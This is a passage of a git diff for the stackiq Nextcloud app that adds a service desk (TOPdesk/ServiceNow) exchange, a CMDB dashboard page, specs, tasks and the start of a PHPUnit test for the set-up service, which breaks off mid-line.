discovery agent. +- Deleting a stackiq record when its service desk record disappears. The import reports it in the flow run; a person decides. ## Risks -- Matching an existing service desk record to a usage is by name and supplier on the first run; a record that does not match stays unlinked and is listed in the flow run for a person to link by hand. +- Integriq's ownership enforcement (`apply-mapping` `ownership` and `exists`) and the TOPdesk and ServiceNow presets do not exist until lane iq ships them. Until then OpenRegister's preflight reports the flows as invalid and the set-up action refuses, saying which node or preset is missing. It never creates a half-working flow. +- A desk record that matches no stackiq application by id, name or supplier is created as a new application. If it was a spelling variant it shows up as a duplicate candidate; merging it is a steward's task. +- Two people changing the same field in both systems at once: the owner's value wins on the next run. That is the rule, and the docs say so. +- Contracts and licences carry costs. The fields stay behind `catalogContract`'s read rule, and lane oc publishes nothing from that schema. diff --git a/openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md b/openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md index 4b59cdaf4..fe0c19f4d 100644 --- a/openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md +++ b/openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md @@ -7,29 +7,119 @@ ## Purpose -The organisation's applications in use are exchanged with its service management tool through integriq, and each carries a link to its service desk record. Matrix row `stackiq:share-itsm-integration`. +Stackiq is the CMDB for the application level: applications, components, connections, licences and contracts. It stays in step with the organisation's service desk (TOPdesk, ServiceNow) in both directions through integriq, with per-field ownership deciding every conflict. Matrix row `stackiq:share-itsm-integration`. ## ADDED Requirements -### Requirement: REQ-ITX-001 The organisation's applications in use reach its service desk +### Requirement: REQ-ITX-001 An administrator sets up the exchange without stackiq holding a credential -Stackiq SHALL let an administrator set up, from the admin settings, an outbound flow that sends a usage's application, supplier, version, status, owners and BBN level to the service desk source the administrator configured in integriq when the usage is created or changed, and an inbound flow that reads the service desk's application records nightly and links them to matching usages. Stackiq SHALL NOT hold the service desk credentials. +Stackiq SHALL let a Nextcloud admin set up the exchange from the admin settings by choosing the service desk (TOPdesk or ServiceNow) and an integriq source. The set-up SHALL create the inbound and outbound flows from stackiq's templates, validate every flow with OpenRegister before saving any, and save, publish and enable them only when all are valid. When one is invalid it SHALL create nothing and SHALL name the node and the reason. Running it again SHALL update the flows it created instead of adding new ones. Stackiq SHALL NOT store or send the service desk credentials. -#### Scenario: A new application in use reaches TOPdesk -@e2e tests/e2e/workflows/itsm-exchange.spec.ts +#### Scenario: Set up against the TOPdesk source +@e2e exclude Admin settings set-up runs against integriq's source and OpenRegister's flow store; verified by tests/Unit/Service/ItsmExchangeServiceTest.php and the live run on the test instance recorded in the PR. + +- **GIVEN** integriq holds a TOPdesk source with its credential +- **WHEN** the admin chooses TOPdesk and that source and starts the set-up +- **THEN** the inbound flows and the outbound flow exist, published and enabled, on stackiq's Flows page +- **AND** starting the set-up again leaves the same number of flows + +#### Scenario: A missing mapping preset stops the set-up +@e2e exclude Exercised by tests/Unit/Service/ItsmExchangeServiceTest.php with OpenRegister's preflight answering blocking. + +- **GIVEN** integriq has no ServiceNow mapping preset +- **WHEN** the admin sets up with ServiceNow +- **THEN** no flow is created +- **AND** the answer names the node and the reason preflight gave + +### Requirement: REQ-ITX-002 The import creates and updates stackiq records and never duplicates them + +The inbound flows SHALL read the service desk's application records, relations, licences and contracts on a schedule and create or update the matching stackiq records: the supplier as an organisation, the application as a module, the organisation's use of it as a usage, relations as connections, and licences and contracts as contracts. A record SHALL be matched by its service desk record id first and by name and supplier second. A second run over the same records SHALL update, not create. + +#### Scenario: A first import creates, a second updates +@e2e exclude Server-side flow runs against the TOPdesk mock; recorded in the PR's live run. + +- **GIVEN** the TOPdesk mock holds three applications, one relation and one licence contract +- **WHEN** the inbound flows run +- **THEN** stackiq holds three usages with their modules and supplier, one connection and one contract, each with its service desk record id +- **WHEN** the inbound flows run again +- **THEN** the number of usages, modules, connections and contracts is unchanged + +#### Scenario: An application already in the catalogue is reused +@e2e exclude Server-side flow run; recorded in the PR's live run. + +- **GIVEN** the catalogue holds module "Zaaksysteem X" from supplier "Leverancier B" +- **WHEN** the import reads a desk record named "Zaaksysteem X" from "Leverancier B" +- **THEN** the new usage points at that module and no second module is created + +### Requirement: REQ-ITX-003 The owner of a field wins + +Every mapped field SHALL have an owner, the service desk or stackiq, declared in the mapping preset. An import SHALL write service-desk-owned fields on an existing record and SHALL NOT change a stackiq-owned field. An export SHALL send stackiq-owned fields for a record the service desk already knows and SHALL NOT send a service-desk-owned field. A record created by either side SHALL get every mapped field. Ownership SHALL NOT be decided by timestamps. + +#### Scenario: Both sides changed, each keeps its own +@e2e exclude Server-side flows against the mock; recorded in the PR's live run. + +- **GIVEN** an imported usage +- **WHEN** the desk renames the application and someone in stackiq changes the business owner, before the next run +- **THEN** after the import and the export, stackiq shows the desk's new name and the desk shows stackiq's business owner + +#### Scenario: A licence edited in stackiq survives the import +@e2e exclude Server-side flow run; recorded in the PR's live run. -- **GIVEN** a Nextcloud admin set up the service desk exchange with the integriq source for the municipality's TOPdesk and the TOPdesk preset -- **WHEN** an information manager moves the usage of application X to In production -- **THEN** the flow run shows the usage sent to the source -- **AND** the usage carries the record id TOPdesk returned +- **GIVEN** a contract created by the import with 100 licences bought +- **WHEN** stackiq changes it to 120 and the desk still says 100 +- **THEN** after the next import the contract says 120 -### Requirement: REQ-ITX-002 An application in use shows its service desk record +### Requirement: REQ-ITX-004 A write never echoes back + +A change written by the import SHALL NOT cause an export call, and a change written by the export SHALL NOT cause an import write. Writing the returned record id after a create SHALL NOT cause a second export call. + +#### Scenario: One change, one call +@e2e exclude Counts calls on the mock; recorded in the PR's live run. + +- **GIVEN** the exchange is set up and the import has run +- **WHEN** someone changes the technical owner of one usage +- **THEN** the mock receives exactly one update call for that record +- **AND** the next import writes nothing +- **AND** the mock receives no further call + +### Requirement: REQ-ITX-005 Licences and contracts carry what a CMDB needs + +A contract SHALL record the licence metric, licences bought and in use, start and end, cost with its period and currency, the supplier, the supplier's own reference, and the service desk reference. A contract SHALL NOT require a catalogue service. Contracts, licences and costs SHALL NOT be public. + +#### Scenario: A licence for an application without a service +@e2e exclude Register fragment; verified by tests/Unit/Settings/ItsmExchangeFragmentTest.php. + +- **GIVEN** the merged register +- **WHEN** a contract is created with a usage, type Licence, 50 licences bought per named user, EUR 12000 a year and no service +- **THEN** it validates against the contract schema + +### Requirement: REQ-ITX-006 A file feeds the same import + +An administrator SHALL be able to import applications from a CSV or XLSX file whose columns are stackiq's field names. The file SHALL run through the same flow, mapping and matching as the service desk import, and importing the same file twice SHALL update rather than duplicate. A row without a record id SHALL be refused with its row number. + +#### Scenario: Import a spreadsheet twice +@e2e exclude Upload runs the server-side flow; verified by tests/Unit/Service/ItsmFileImportServiceTest.php and the live run in the PR. + +- **GIVEN** a CSV with two applications +- **WHEN** the admin imports it twice +- **THEN** stackiq holds two usages from it, not four + +### Requirement: REQ-ITX-007 The CMDB page says what stackiq is + +Stackiq SHALL have a CMDB page that names what it records (applications, components, connections, licences and contracts) and what it does not (hardware, network discovery, tickets), links to each list, shows the service desk exchange and the outcome of its last run, and offers the file import to admins. A usage SHALL show its service desk reference and link on its page, and Applications in use SHALL have a Service desk column. The Integrations page SHALL list the service desk exchange. + +#### Scenario: An information manager opens the CMDB page +@e2e tests/e2e/workflows/itsm-exchange.spec.ts -A usage SHALL keep its service desk references (system, record id, link, last synchronised), show the link on its page and in a Service desk column on Applications in use, and the Integrations page SHALL show the service desk exchange with the outcome of its last run. +- **GIVEN** a signed-in admin +- **WHEN** they open the CMDB page +- **THEN** it lists applications, components, connections, licences and contracts with links +- **AND** it says stackiq does not discover hardware #### Scenario: A service desk employee finds the catalogue entry and back @e2e tests/e2e/workflows/itsm-exchange.spec.ts - **GIVEN** a usage linked to service desk record A-123 - **WHEN** the information manager opens Applications in use -- **THEN** the Service desk column shows A-123 and opens the record in the service desk +- **THEN** the Service desk column shows A-123 +- **AND** the usage page shows the link that opens the record in the service desk diff --git a/openspec/changes/sharing-itsm-exchange/tasks.md b/openspec/changes/sharing-itsm-exchange/tasks.md index 7efaeb21c..b1c167446 100644 --- a/openspec/changes/sharing-itsm-exchange/tasks.md +++ b/openspec/changes/sharing-itsm-exchange/tasks.md @@ -2,42 +2,75 @@ ## Implementation tasks -### Task 1: External references and the connection entry -- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-002-an-application-in-use-shows-its-service-desk-record -- **files**: `lib/Settings/register.d/itsm-exchange.json`, `lib/Settings/connections.json`, `tests/Unit/Settings/ConnectionsDeclarationTest.php` +### Task 1: Fields, contract licence fields and the connection entry +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-005-licences-and-contracts-carry-what-a-cmdb-needs +- **files**: `lib/Settings/register.d/sharing-itsm-exchange.json`, `lib/Settings/register.d/value-assessment.json` (usage version only), `lib/Settings/softwarecatalogus_register.json` (`catalogContract` no longer requires `service`; register version), `lib/Settings/connections.json`, `tests/Unit/Settings/ItsmExchangeFragmentTest.php`, `tests/Unit/Settings/ConnectionsDeclarationTest.php` - **acceptance_criteria**: - - GIVEN the merged register WHEN it is imported THEN usage carries externalReferences + - GIVEN the merged register WHEN it is read THEN usage, connection and catalogContract carry the service desk reference, usage carries installedVersion and publicationDate, catalogContract carries vendorReference, currency and supplier, and each schema's version is higher than on development + - GIVEN a licence contract payload without a service WHEN it is validated against the merged catalogContract schema THEN it is valid - GIVEN integriq installed WHEN the Integrations page opens THEN it lists Service desk -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Settings/ItsmExchangeFragmentTest.php`; the existing `ConnectionsDeclarationTest.php` extended for the itsm entry) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Settings/ItsmExchangeFragmentTest.php`; `ConnectionsDeclarationTest.php` covers the itsm entry) -### Task 2: Flow templates and the set-up action -- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-the-organisations-applications-in-use-reach-its-service-desk -- **files**: `lib/Settings/flows/itsm-outbound.json`, `lib/Settings/flows/itsm-inbound.json`, `lib/Service/ItsmExchangeService.php`, `lib/Controller/ItsmExchangeController.php`, `appinfo/routes.php`, `src/views/settings/sections/ItsmExchange.vue`, `lib/Service/ConnectionReportService.php` (report for the itsm key) +### Task 2: Flow templates +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-002-the-import-creates-and-updates-stackiq-records-and-never-duplicates-them +- **files**: `lib/Settings/flows/itsm-inbound-applications.json`, `lib/Settings/flows/itsm-inbound-relations.json`, `lib/Settings/flows/itsm-inbound-contracts.json`, `lib/Settings/flows/itsm-outbound-applications.json`, `lib/Settings/flows/itsm-file-applications.json`, `tests/Unit/Settings/ItsmFlowTemplatesTest.php` - **acceptance_criteria**: - - GIVEN the administrator set up the exchange with a TOPdesk source WHEN a usage goes live THEN the flow sends it to the source and writes the returned record id back - - GIVEN a nightly run WHEN a service desk record matches a usage by name and supplier THEN the usage gets its link -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Service/ItsmExchangeServiceTest.php` fills and validates the templates; a flow test run against a mock source in `tests/e2e/workflows/itsm-exchange.spec.ts`) - -### Task 3: Service desk link on the pages -- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-002-an-application-in-use-shows-its-service-desk-record -- **files**: `src/manifest.d/usages.json`, `l10n/en.json`, `l10n/nl.json` + - GIVEN each template filled with a source, synchronizations and presets WHEN it is checked THEN every node type is one OpenRegister or integriq registers, no edge carries a step, there is one trigger and one end, and no placeholder is left + - GIVEN the outbound template WHEN its hash input is read THEN it holds only stackiq-owned fields, and the inbound hash input is the ownership-filtered mapping +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Settings/ItsmFlowTemplatesTest.php`; preflight on the live instance in Task 3) + +### Task 3: Set-up action +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential +- **files**: `lib/Service/ItsmExchangeService.php`, `lib/Controller/ItsmExchangeController.php`, `appinfo/routes.php`, `lib/Service/ConnectionReportService.php` (report for the itsm key), `tests/Unit/Service/ItsmExchangeServiceTest.php` +- **acceptance_criteria**: + - GIVEN a TOPdesk source WHEN the admin sets up THEN the synchronizations and flows are created, every flow validated before any is saved, then published and enabled + - GIVEN preflight answers blocking for one flow WHEN the admin sets up THEN nothing is created and the answer names the node and reason + - GIVEN the set-up ran before WHEN it runs again THEN the stored flows are updated, not duplicated +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Service/ItsmExchangeServiceTest.php`) + +### Task 4: File import +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import +- **files**: `lib/Service/ItsmFileImportService.php`, `lib/Controller/ItsmExchangeController.php`, `tests/Unit/Service/ItsmFileImportServiceTest.php` +- **acceptance_criteria**: + - GIVEN a CSV or XLSX with stackiq column names WHEN it is imported THEN the file flow runs once with the rows as payload + - GIVEN a row without recordId WHEN it is imported THEN nothing runs and the answer names the row +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Service/ItsmFileImportServiceTest.php`) + +### Task 5: CMDB page, admin section and the service desk column +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-007-the-cmdb-page-says-what-stackiq-is +- **files**: `src/manifest.d/cmdb.json`, `src/views/cmdb/CmdbOverview.vue`, `src/customComponents.js`, `src/views/settings/sections/ItsmExchange.vue`, `src/views/settings/StackiqSettings.vue`, `src/manifest.d/usages.json`, `l10n/en.json`, `l10n/nl.json`, `tests/e2e/workflows/itsm-exchange.spec.ts` - **acceptance_criteria**: + - GIVEN a signed-in admin WHEN the CMDB page opens THEN it names what stackiq records and what it does not, links to each list, and shows the exchange status - GIVEN a usage with a service desk reference WHEN Applications in use opens THEN the Service desk column links to the record -- [ ] Implement -- [ ] Test (Playwright case in `tests/e2e/workflows/itsm-exchange.spec.ts`) +- [x] Implement +- [ ] Test (Playwright `tests/e2e/workflows/itsm-exchange.spec.ts`) -### Task 4: Documentation -- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-the-organisations-applications-in-use-reach-its-service-desk -- **files**: `docs/features/service-desk-exchange.md`, `docs/images/service-desk-exchange.png` +### Task 6: Live run against the mocks +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-004-a-write-never-echoes-back +- **files**: `tests/live/itsm-exchange-live.sh` - **acceptance_criteria**: - - GIVEN the docs site WHEN a reader opens Service desk exchange THEN setting up the integriq source, installing the set and reading the results are explained with a screenshot -- [ ] Implement -- [ ] Test (docs build, screenshot with Playwright) + - GIVEN lane iq's TOPdesk and ServiceNow mocks WHEN the script runs THEN the first import creates, the second updates, an outbound change reaches the mock once, a conflict keeps each owner's field, and no echo call follows +- [x] Run against the TOPdesk mock +- [x] Run against the ServiceNow mock +- [ ] Run against Ruben's ServiceNow developer instance (comes from Ruben later) + +### Task 7: Documentation +- **spec_ref**: openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential +- **files**: `docs/features/service-desk-exchange.md` +- **acceptance_criteria**: + - GIVEN the docs site WHEN a reader opens Service desk exchange THEN setting up the integriq source, the ownership rule, the file import and what to do with duplicate candidates are explained +- [x] Implement + +## Dependencies + +- Integriq (lane iq, `connectors-service-desk-templates`): the `topdesk` and `servicenow` source templates, the mapping presets `itsm--application-inbound`, `-application-outbound`, `-relation-inbound`, `-licence-inbound`, `-contract-inbound` and `itsm-file-application-inbound` with the `ownership` marker, the `apply-mapping` keys `ownership` and `exists`, and the TOPdesk and ServiceNow mocks. ## Verification - `openspec validate sharing-itsm-exchange --type change --strict` passes. -- `composer check:strict` and `npm run lint` pass; the PHPUnit and Playwright cases above pass. -- English and Dutch strings for every new label (ADR-005); docs with a screenshot (ADR-010). +- `composer check:strict` and `npm run lint` pass; `phpunit -c phpunit-unit.xml` runs the new tests (the strict run's own test step skips outside a Nextcloud tree). +- English and Dutch strings for every new label (ADR-005). diff --git a/src/main.js b/src/main.js index 0e6041f91..0641870b9 100644 --- a/src/main.js +++ b/src/main.js @@ -31,6 +31,7 @@ import { createRouter, createWebHistory } from 'vue-router' import App from './App.vue' import CatalogPanels from './components/CatalogPanels.vue' import UpcomingMaintenanceWidget from './components/maintenance/UpcomingMaintenanceWidget.vue' +import CmdbOverview from './views/cmdb/CmdbOverview.vue' import customComponents from './customComponents.js' import appIcons from './icons.js' import bundledManifest from './manifest.json' @@ -83,6 +84,15 @@ registerDashboardWidget('upcoming-maintenance', { icon: 'Calendar', card: true, }) +// The CMDB page's body (sharing-itsm-exchange): what stackiq records and does +// not, the service desk exchange status and the admin file import. +registerDashboardWidget('cmdb-overview', { + renderer: CmdbOverview, + defaultContent: {}, + displayName: 'CMDB', + icon: 'Sitemap', + card: true, +}) try { registerTranslations() } catch (e) { diff --git a/src/manifest.d/cmdb.json b/src/manifest.d/cmdb.json new file mode 100644 index 000000000..a1a7db59b --- /dev/null +++ b/src/manifest.d/cmdb.json @@ -0,0 +1,168 @@ +{ + "$schema": "https://raw.githubusercontent.com/ConductionNL/nextcloud-vue/main/src/schemas/app-manifest-v2.schema.json", + "_note": "sharing-itsm-exchange: the CMDB page says what stackiq records (applications in use, applications and their components, connections, licences and contracts) and what it does not (hardware, network discovery, tickets), shows the service desk exchange and takes a file import. A child of Applications (ADR-097: no new top-level entry). A type:dashboard page: four stat tiles counted by OpenRegister, and the cmdb-overview widget registered in main.js.", + "menu": [ + { + "id": "Modules", + "children": [ + { + "id": "Cmdb", + "label": "CMDB", + "icon": "Sitemap", + "route": "Cmdb", + "order": 1 + } + ] + } + ], + "pages": [ + { + "id": "Cmdb", + "route": "/cmdb", + "type": "dashboard", + "title": "CMDB", + "config": { + "widgets": [ + { + "id": "cmdb-usages", + "type": "stat", + "title": "Applications in use", + "content": { + "label": "Applications in use", + "icon": "OfficeBuilding", + "route": { + "name": "Gebruik" + }, + "format": { + "style": "decimal", + "decimals": 0 + }, + "source": { + "register": "@resolve:voorzieningen_register", + "schema": "usage", + "metric": "count" + } + } + }, + { + "id": "cmdb-modules", + "type": "stat", + "title": "Applications", + "content": { + "label": "Applications", + "icon": "Package", + "route": { + "name": "Modules" + }, + "format": { + "style": "decimal", + "decimals": 0 + }, + "source": { + "register": "@resolve:voorzieningen_register", + "schema": "module", + "metric": "count" + } + } + }, + { + "id": "cmdb-connections", + "type": "stat", + "title": "Connections", + "content": { + "label": "Connections", + "icon": "LinkVariant", + "route": { + "name": "Koppelingen" + }, + "format": { + "style": "decimal", + "decimals": 0 + }, + "source": { + "register": "@resolve:voorzieningen_register", + "schema": "connection", + "metric": "count" + } + } + }, + { + "id": "cmdb-contracts", + "type": "stat", + "title": "Licences and contracts", + "content": { + "label": "Licences and contracts", + "icon": "FileSign", + "route": { + "name": "Contracten" + }, + "format": { + "style": "decimal", + "decimals": 0 + }, + "source": { + "register": "@resolve:voorzieningen_register", + "schema": "catalogContract", + "metric": "count" + } + } + }, + { + "id": "cmdb-overview", + "type": "cmdb-overview", + "title": "CMDB", + "_note": "sharing-itsm-exchange: what stackiq records and does not, the service desk exchange status (GET /api/itsm/status) and the admin file import (POST /api/itsm/import). A widget TYPE registered in main.js, like catalog-panels, because it combines prose, a status and an upload form, which no built-in widget does." + } + ], + "layout": [ + { + "id": "1", + "widgetId": "cmdb-usages", + "gridX": 0, + "gridY": 0, + "gridWidth": 3, + "gridHeight": 2, + "showTitle": false + }, + { + "id": "2", + "widgetId": "cmdb-modules", + "gridX": 3, + "gridY": 0, + "gridWidth": 3, + "gridHeight": 2, + "showTitle": false + }, + { + "id": "3", + "widgetId": "cmdb-connections", + "gridX": 6, + "gridY": 0, + "gridWidth": 3, + "gridHeight": 2, + "showTitle": false + }, + { + "id": "4", + "widgetId": "cmdb-contracts", + "gridX": 9, + "gridY": 0, + "gridWidth": 3, + "gridHeight": 2, + "showTitle": false + }, + { + "id": "5", + "widgetId": "cmdb-overview", + "gridX": 0, + "gridY": 2, + "gridWidth": 12, + "gridHeight": 10, + "showTitle": false + } + ] + }, + "_note": "The CMDB entry point: four stat tiles for the lists that hold the CMDB, and the cmdb-overview widget with what stackiq records and does not, the exchange status and the file import." + } + ] +} diff --git a/src/manifest.d/usages.json b/src/manifest.d/usages.json index fac1de13e..1ff71f97e 100644 --- a/src/manifest.d/usages.json +++ b/src/manifest.d/usages.json @@ -19,7 +19,7 @@ "register": "@resolve:voorzieningen_register", "schema": "usage", "description": "The applications your organisation uses, with the version it runs, where it stands and who owns it.", - "columns": ["module", "moduleVersion", "status", "businessOwner", "technicalOwner", "timeClassification"], + "columns": ["module", "moduleVersion", "status", "businessOwner", "technicalOwner", "timeClassification", "serviceDeskRecordId"], "filterMenu": true, "quickFilters": [ { "label": "All", "filter": {}, "default": true }, @@ -44,7 +44,8 @@ "_note": "A usage is read for what runs where and who owns it (lifecycle-application-value-assessment added the value assessment section with the scores and the suggested TIME class, and the risk signals after it): data 8 wide (application, organisation, version, status, owners, phase dates, cloud model, annotation), documents 4 wide at the right (DPIA, contract, processing agreement), then the related panel. Status transitions come from the schema's x-openregister-lifecycle.", "lifecycleActions": { "field": "status" }, "widgets": [ - { "id": "gb-data", "type": "data", "title": "Application in use", "icon": "OfficeBuilding", "content": { "columns": 2, "include": [ "module", "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner", "startDateAcquisition", "startDatePlanned", "startDateInProduction", "startDateOutPhasing", "startDateOutPhased", "cloudDienstverleningsmodel", "interneAnnotation" ] } }, + { "id": "gb-data", "type": "data", "title": "Application in use", "icon": "OfficeBuilding", "content": { "columns": 2, "include": [ "module", "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner", "startDateAcquisition", "startDatePlanned", "startDateInProduction", "startDateOutPhasing", "startDateOutPhased", "cloudDienstverleningsmodel", "interneAnnotation", "installedVersion", "publicationDate" ] } }, + { "id": "gb-service-desk", "type": "data", "title": "Service desk", "icon": "Sitemap", "content": { "columns": 2, "include": [ "serviceDeskSystem", "serviceDeskRecordId", "serviceDeskUrl", "serviceDeskSyncedAt" ] } }, { "id": "gb-assessment", "type": "data", "title": "Value assessment", "icon": "ScaleBalance", "content": { "columns": 2, "include": [ "businessValue", "technicalFit", "riskScore", "scoredOn", "timeClassification", "suggestedTimeClassification", "timeRationale", "timeReviewDate" ] } }, { "id": "gb-files", "type": "integration", "integrationId": "files", "title": "Documents", "icon": "FolderOutline" }, { "id": "gb-related", "type": "related", "title": "Connections and services", "icon": "LinkVariant" } @@ -53,7 +54,8 @@ { "id": "1", "widgetId": "gb-data", "gridX": 0, "gridY": 0, "gridWidth": 8, "gridHeight": 8 }, { "id": "2", "widgetId": "gb-files", "gridX": 8, "gridY": 0, "gridWidth": 4, "gridHeight": 4 }, { "id": "3", "widgetId": "gb-related", "gridX": 8, "gridY": 4, "gridWidth": 4, "gridHeight": 4 }, - { "id": "4", "widgetId": "gb-assessment", "gridX": 0, "gridY": 8, "gridWidth": 8, "gridHeight": 5 } + { "id": "4", "widgetId": "gb-assessment", "gridX": 0, "gridY": 8, "gridWidth": 8, "gridHeight": 5 }, + { "id": "5", "widgetId": "gb-service-desk", "gridX": 8, "gridY": 8, "gridWidth": 4, "gridHeight": 5 } ], "bodyWidgets": [ { "id": "gb-risk-signals", "component": "UsageRiskSignals", "props": { "objectId": "@objectId" }, "placement": "after-data", "colSpan": 12 } diff --git a/src/views/cmdb/CmdbOverview.vue b/src/views/cmdb/CmdbOverview.vue new file mode 100644 index 000000000..466be640b --- /dev/null +++ b/src/views/cmdb/CmdbOverview.vue @@ -0,0 +1,326 @@ + + + + + + + diff --git a/src/views/settings/StackiqSettings.vue b/src/views/settings/StackiqSettings.vue index 00b3c6d88..f9ac89060 100644 --- a/src/views/settings/StackiqSettings.vue +++ b/src/views/settings/StackiqSettings.vue @@ -116,6 +116,9 @@ + + + @@ -135,6 +138,7 @@ import CronjobConfiguration from './sections/CronjobConfiguration.vue' import EmailConfiguration from './sections/EmailConfiguration.vue' import EolSyncSettings from './sections/EolSyncSettings.vue' import FederationSettings from './sections/FederationSettings.vue' +import ItsmExchange from './sections/ItsmExchange.vue' import ModerationQueue from './sections/ModerationQueue.vue' import OpenRegisterIntegration from './sections/OpenRegisterIntegration.vue' import OrganizationSynchronization from './sections/OrganizationSynchronization.vue' @@ -165,6 +169,7 @@ export default defineComponent({ ModerationQueue, FederationSettings, EolSyncSettings, + ItsmExchange, AlwaysVisibleSection, Web, }, diff --git a/src/views/settings/sections/ItsmExchange.vue b/src/views/settings/sections/ItsmExchange.vue new file mode 100644 index 000000000..3c5ecda8f --- /dev/null +++ b/src/views/settings/sections/ItsmExchange.vue @@ -0,0 +1,280 @@ + + + + + + + diff --git a/tests/Unit/Service/ItsmExchangeServiceTest.php b/tests/Unit/Service/ItsmExchangeServiceTest.php new file mode 100644 index 000000000..44f31755f --- /dev/null +++ b/tests/Unit/Service/ItsmExchangeServiceTest.php @@ -0,0 +1,217 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service; + +use OCA\Stackiq\Service\ConnectionReportService; +use OCA\Stackiq\Service\Itsm\ItsmFlowGateway; +use OCA\Stackiq\Service\ItsmExchangeService; +use OCP\IAppConfig; +use OCP\IURLGenerator; +use PHPUnit\Framework\MockObject\MockObject; +use PHPUnit\Framework\TestCase; +use Psr\Log\LoggerInterface; + +/** + * Asserts what the set-up creates, refuses and reports. + */ +class ItsmExchangeServiceTest extends TestCase { + + /** + * The organisation whose applications are exchanged. + * + * @var string + */ + private const ORG = '0f6c3a8e-1111-4c2b-9d6a-2a1b3c4d5e6f'; + + /** + * OpenRegister's flow store. + * + * @var ItsmFlowGateway&MockObject + */ + private ItsmFlowGateway&MockObject $gateway; + + /** + * App settings kept in memory. + * + * @var array + */ + private array $settings = []; + + /** + * Reports to integriq. + * + * @var ConnectionReportService&MockObject + */ + private ConnectionReportService&MockObject $reports; + + /** + * The service under test. + * + * @return ItsmExchangeService + */ + private function service(): ItsmExchangeService { + $config = $this->createMock(IAppConfig::class); + $config->method('getValueString')->willReturnCallback(fn (string $app, string $key, string $default = ''): string => (string) ($this->settings[$key] ?? $default)); + $config->method('setValueString')->willReturnCallback(function (string $app, string $key, string $value): bool { + $this->settings[$key] = $value; + return true; + }); + $config->method('setValueBool')->willReturnCallback(function (string $app, string $key, bool $value): bool { + $this->settings[$key] = $value; + return true; + }); + $config->method('getValueBool')->willReturnCallback(fn (string $app, string $key, bool $default = false): bool => (bool) ($this->settings[$key] ?? $default)); + + $urls = $this->createMock(IURLGenerator::class); + $urls->method('getAbsoluteURL')->willReturn('https://cloud.example.nl/index.php/apps/stackiq'); + + return new ItsmExchangeService( + gateway: $this->gateway, + appConfig: $config, + urlGenerator: $urls, + logger: $this->createMock(LoggerInterface::class), + connectionReports: $this->reports + ); + }//end service() + + /** + * A gateway with OpenRegister present, the organisation and the TOPdesk source found. + * + * @return void + */ + protected function setUp(): void { + $this->gateway = $this->getMockBuilder(ItsmFlowGateway::class) + ->disableOriginalConstructor() + ->onlyMethods(['available', 'inspect', 'saveAndPublish', 'run', 'findObject']) + ->getMock(); + $this->gateway->method('available')->willReturn(true); + $this->gateway->method('findObject')->willReturnCallback( + static function (string $register, string $schema, string $id): ?array { + if ($register === 'stackiq' && $schema === 'organization' && $id === self::ORG) { + return ['uuid' => self::ORG, 'name' => 'Gemeente Rotterdam']; + } + + if ($register === 'integriq' && $schema === 'source' && $id === 'topdesk') { + return ['uuid' => 'src-1', 'slug' => 'topdesk', 'location' => 'https://rotterdam.topdesk.net/tas/api']; + } + + return null; + } + ); + $this->reports = $this->createMock(ConnectionReportService::class); + $this->settings = []; + }//end setUp() + + /** + * Every flow passes preflight: all six are saved, published, stored, and the switch goes on. + * + * @return void + */ + public function testAValidSetUpCreatesEveryFlow(): void { + $this->gateway->method('inspect')->willReturn(['blocking' => [], 'warnings' => []]); + $saved = []; + $this->gateway->expects($this->exactly(6))->method('saveAndPublish')->willReturnCallback( + static function (array $flow, ?string $uuid) use (&$saved): string { + $saved[] = [$flow, $uuid]; + return 'flow-' . count($saved); + } + ); + $this->reports->expects($this->once())->method('itsmSetUp')->with(true, $this->stringContains('TOPdesk')); + + $result = $this->service()->setUp(desk: 'topdesk', organisation: self::ORG, runAs: 'admin'); + + $this->assertTrue($result['created']); + $this->assertSame(['applications', 'relations', 'licences', 'contracts', 'outbound', 'file'], array_keys($result['flows'])); + $this->assertSame([null, null, null, null, null, null], array_column($saved, 1), 'a first set-up creates'); + $this->assertStringContainsString('https://rotterdam.topdesk.net/tas/secure', (string) json_encode($saved[4][0], JSON_UNESCAPED_SLASHES), 'the record link uses the source the admin set up'); + $this->assertStringContainsString(self::ORG, (string) json_encode($saved[0][0]), 'the import writes usages of the chosen organisation'); + $this->assertTrue($this->settings['itsm_exchange_enabled']); + $stored = json_decode((string) $this->settings['itsm_exchange'], true); + $this->assertSame('topdesk', $stored['desk']); + $this->assertSame(self::ORG, 